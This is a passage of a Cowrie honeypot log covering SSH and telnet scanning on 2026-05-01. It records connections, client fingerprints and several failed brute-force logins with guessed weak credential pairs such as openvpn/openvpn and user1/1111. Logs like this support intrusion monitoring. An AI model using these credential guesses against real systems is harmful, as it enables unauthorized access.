SH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:22.714652Z","src_ip":"176.65.139.103","session":"c862cd7e5ecb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":56488,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbe9716ae4bf","protocol":"telnet","message":"New connection: 159.223.86.167:56488 (159.203.135.109:23) [session: bbe9716ae4bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:22.844592Z"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:22.962053Z","src_ip":"176.65.139.103","session":"c862cd7e5ecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.97107768058777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:23.446849Z","src_ip":"159.223.86.167","session":"8380142df06d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85362434387207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:23.631249Z","src_ip":"159.223.86.167","session":"bccd01ca1869","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:24.048023Z","src_ip":"176.65.139.103","session":"c862cd7e5ecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.43573355674744,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:24.669155Z","src_ip":"213.136.75.179","session":"8449faa78cf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":33470,"dst_ip":"159.203.135.109","dst_port":23,"session":"0692ca902543","protocol":"telnet","message":"New connection: 159.223.86.167:33470 (159.203.135.109:23) [session: 0692ca902543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:25.072930Z"}
{"eventid":"cowrie.session.closed","duration":35.414077281951904,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:25.712037Z","src_ip":"23.254.167.244","session":"e1d1a5190fd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.42246961593628,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:26.305351Z","src_ip":"213.136.75.179","session":"a0dd098bd872","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57742,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eccc4799877","protocol":"telnet","message":"New connection: 213.136.75.179:57742 (10.17.0.5:23) [session: 1eccc4799877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:27.359536Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":59216,"dst_ip":"10.17.0.5","dst_port":23,"session":"d592fbae240e","protocol":"telnet","message":"New connection: 213.136.75.179:59216 (10.17.0.5:23) [session: d592fbae240e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:27.898664Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":59232,"dst_ip":"10.17.0.5","dst_port":23,"session":"4133149fd6dd","protocol":"telnet","message":"New connection: 213.136.75.179:59232 (10.17.0.5:23) [session: 4133149fd6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:28.011173Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":51750,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f57f3e362ac","protocol":"telnet","message":"New connection: 159.223.86.167:51750 (159.203.135.109:23) [session: 3f57f3e362ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:28.077237Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":59238,"dst_ip":"10.17.0.5","dst_port":23,"session":"51b5ae62de12","protocol":"telnet","message":"New connection: 213.136.75.179:59238 (10.17.0.5:23) [session: 51b5ae62de12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:28.259816Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":53348,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ecfd8fbd87e","protocol":"telnet","message":"New connection: 159.223.86.167:53348 (159.203.135.109:23) [session: 6ecfd8fbd87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:28.436568Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":59250,"dst_ip":"10.17.0.5","dst_port":23,"session":"b163e70a8185","protocol":"telnet","message":"New connection: 213.136.75.179:59250 (10.17.0.5:23) [session: b163e70a8185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:28.492106Z"}
{"eventid":"cowrie.session.closed","duration":31.779215574264526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:28.510283Z","src_ip":"213.136.75.179","session":"65a0a740d81a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34388279914856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:28.641515Z","src_ip":"159.223.86.167","session":"4cf93aebfd48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45436,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1cddbd4fc99","protocol":"ssh","message":"New connection: 176.65.139.103:45436 (10.17.0.5:22) [session: c1cddbd4fc99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:28.704868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:28.709674Z","src_ip":"176.65.139.103","session":"c1cddbd4fc99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:28.791940Z","src_ip":"176.65.139.103","session":"c1cddbd4fc99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:29.162699Z","src_ip":"176.65.139.103","session":"c1cddbd4fc99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.920642852783203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:29.233570Z","src_ip":"159.223.86.167","session":"61e0e02b0b1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.288591623306274,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:29.264478Z","src_ip":"213.136.75.179","session":"75cd532bf00b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":59262,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a87d140da13","protocol":"telnet","message":"New connection: 213.136.75.179:59262 (10.17.0.5:23) [session: 3a87d140da13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:29.824444Z"}
{"eventid":"cowrie.session.closed","duration":31.083484888076782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:30.138172Z","src_ip":"155.117.234.131","session":"4f03e04c5117","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:30.250273Z","src_ip":"176.65.139.103","session":"c1cddbd4fc99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.618794679641724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:30.819530Z","src_ip":"213.136.75.179","session":"8f17f4354836","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":59268,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce40c8ab0d2a","protocol":"telnet","message":"New connection: 213.136.75.179:59268 (10.17.0.5:23) [session: ce40c8ab0d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:30.956030Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":59276,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6aec301fc16","protocol":"telnet","message":"New connection: 213.136.75.179:59276 (10.17.0.5:23) [session: f6aec301fc16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:31.039940Z"}
{"eventid":"cowrie.session.closed","duration":31.024507761001587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:31.361018Z","src_ip":"159.223.86.167","session":"0b0683274669","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.32377243041992,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:31.490951Z","src_ip":"213.136.75.179","session":"5a7009985630","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":38794,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee206be6a395","protocol":"telnet","message":"New connection: 159.223.86.167:38794 (159.203.135.109:23) [session: ee206be6a395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:31.798219Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":39536,"dst_ip":"159.203.135.109","dst_port":23,"session":"164788975ecd","protocol":"telnet","message":"New connection: 159.223.86.167:39536 (159.203.135.109:23) [session: 164788975ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:31.942532Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":40804,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdb57e2dae8d","protocol":"telnet","message":"New connection: 159.223.86.167:40804 (159.203.135.109:23) [session: cdb57e2dae8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:32.318030Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37978,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7726207a545","protocol":"telnet","message":"New connection: 159.223.86.167:37978 (159.203.135.109:23) [session: d7726207a545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:32.634601Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":42144,"dst_ip":"159.203.135.109","dst_port":23,"session":"e17e020b8225","protocol":"telnet","message":"New connection: 159.223.86.167:42144 (159.203.135.109:23) [session: e17e020b8225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:32.675218Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":42154,"dst_ip":"159.203.135.109","dst_port":23,"session":"53f86494650b","protocol":"telnet","message":"New connection: 159.223.86.167:42154 (159.203.135.109:23) [session: 53f86494650b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:32.705601Z"}
{"eventid":"cowrie.session.closed","duration":36.33376932144165,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:32.739631Z","src_ip":"213.136.75.179","session":"9428fe16ee7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4975163936615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:33.225714Z","src_ip":"159.223.86.167","session":"f39882056153","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":59288,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9aebb7efe28","protocol":"telnet","message":"New connection: 213.136.75.179:59288 (10.17.0.5:23) [session: d9aebb7efe28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:33.246940Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":59298,"dst_ip":"10.17.0.5","dst_port":23,"session":"c14c7071c1b1","protocol":"telnet","message":"New connection: 213.136.75.179:59298 (10.17.0.5:23) [session: c14c7071c1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:34.205687Z"}
{"eventid":"cowrie.session.closed","duration":30.60102653503418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:34.378860Z","src_ip":"159.223.86.167","session":"902d4af671cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45516,"dst_ip":"10.17.0.5","dst_port":22,"session":"9da43a82c53a","protocol":"ssh","message":"New connection: 176.65.139.103:45516 (10.17.0.5:22) [session: 9da43a82c53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:34.952094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:34.957113Z","src_ip":"176.65.139.103","session":"9da43a82c53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:35.038527Z","src_ip":"176.65.139.103","session":"9da43a82c53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":52040,"dst_ip":"159.203.135.109","dst_port":23,"session":"487d4f71f2d5","protocol":"telnet","message":"New connection: 159.223.86.167:52040 (159.203.135.109:23) [session: 487d4f71f2d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:35.078413Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:35.292705Z","src_ip":"176.65.139.103","session":"9da43a82c53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":55152,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e4106c67017","protocol":"telnet","message":"New connection: 159.223.86.167:55152 (159.203.135.109:23) [session: 0e4106c67017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:35.937787Z"}
{"eventid":"cowrie.session.closed","duration":31.041354179382324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:36.117840Z","src_ip":"159.223.86.167","session":"7b8e885109d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72314691543579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:36.255375Z","src_ip":"159.223.86.167","session":"51c06e46c348","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:36.376964Z","src_ip":"176.65.139.103","session":"9da43a82c53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20019555091858,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:36.449904Z","src_ip":"159.223.86.167","session":"7d6d2826c9fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.68213081359863,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:36.693579Z","src_ip":"213.136.75.179","session":"f63093658c7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":33304,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3cb8ec1411e","protocol":"telnet","message":"New connection: 159.223.86.167:33304 (159.203.135.109:23) [session: c3cb8ec1411e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:37.425218Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":34430,"dst_ip":"159.203.135.109","dst_port":23,"session":"49936abd7333","protocol":"telnet","message":"New connection: 159.223.86.167:34430 (159.203.135.109:23) [session: 49936abd7333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:37.689831Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":35648,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2df4bc283c4","protocol":"telnet","message":"New connection: 159.223.86.167:35648 (159.203.135.109:23) [session: b2df4bc283c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:37.948403Z"}
{"eventid":"cowrie.session.closed","duration":30.919865131378174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:38.133555Z","src_ip":"159.223.86.167","session":"86a4132e6e63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.095112323760986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:39.310730Z","src_ip":"159.223.86.167","session":"20ebc713fbbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.14360809326172,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:39.342697Z","src_ip":"213.136.75.179","session":"776bada95c0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.605310201644897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:39.376032Z","src_ip":"159.223.86.167","session":"8baacab16cd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":36598,"dst_ip":"10.17.0.5","dst_port":23,"session":"08207613f320","protocol":"telnet","message":"New connection: 213.136.75.179:36598 (10.17.0.5:23) [session: 08207613f320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:40.827175Z"}
{"eventid":"cowrie.session.closed","duration":32.089165925979614,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:41.017027Z","src_ip":"213.136.75.179","session":"8d5aa3ec08c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45518,"dst_ip":"10.17.0.5","dst_port":22,"session":"6db83fb84e3e","protocol":"ssh","message":"New connection: 176.65.139.103:45518 (10.17.0.5:22) [session: 6db83fb84e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:41.175078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:41.178914Z","src_ip":"176.65.139.103","session":"6db83fb84e3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:41.260813Z","src_ip":"176.65.139.103","session":"6db83fb84e3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":49286,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9eb77e83094","protocol":"telnet","message":"New connection: 159.223.86.167:49286 (159.203.135.109:23) [session: f9eb77e83094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:41.308105Z"}
